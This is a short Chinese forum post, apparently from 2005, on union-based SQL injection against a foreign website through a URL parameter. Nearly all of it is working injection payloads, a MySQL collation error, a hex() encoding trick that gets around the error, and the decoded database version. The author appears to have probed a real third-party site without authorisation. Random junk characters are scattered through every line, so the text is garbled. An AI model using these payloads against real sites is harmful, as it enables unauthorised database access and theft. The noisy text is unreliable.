本文作者:SuperHei8 |5 f+ k2 k/ o
文章性质:原创% ]* H# a8 ^7 [+ D3 u
发布日期:2005-10-18
8 o! v5 A7 C7 L: W7 _6 b, f1 G测试个国外的站时:) ~6 T: o- p R- p X' ~6 g, A& z
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
; s- e$ _9 L A; O7 w返回错误:1 ?9 g. `# s S7 t' E* ~* }" G) N
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'8 f# s/ [7 x! X$ c& E: F& F
MySQL Error No. 126; R8 o9 _7 u8 p( ^4 A6 ?
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
& _& ]3 n* [' ^7 O4 ]9 V! v) Z解决办法:转为其他编码如hex。! l) I, w! Q/ Z, E
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
3 G! Z: c$ K# E% Q, _成功得到hex(version())的值为:# ~# J% U2 [$ U
342E312E332D62657461
2 \9 u* U# k* ?回Mysql查询下得到:
( m+ I8 l' Z- U: P. Xmysql> select 0x342E312E332D62657461;
& a9 Q H8 R" B( t! G# Y- K* K+------------------------+
" c3 p- ~- v& [ W| 0x342E312E332D62657461 |
, _8 s; W' | k+------------------------+! @5 O+ l. D N! O* _ \( R% U- D
| 4.1.3-beta |
( o5 J7 P# ?" }+------------------------+4 Q" J# O/ v/ C( R# q' Q
1 row in set (0.00 sec), z$ G: M: x- M: G7 [* j. ]
' ^- V% o7 V& L- F& a5 X" `# M
|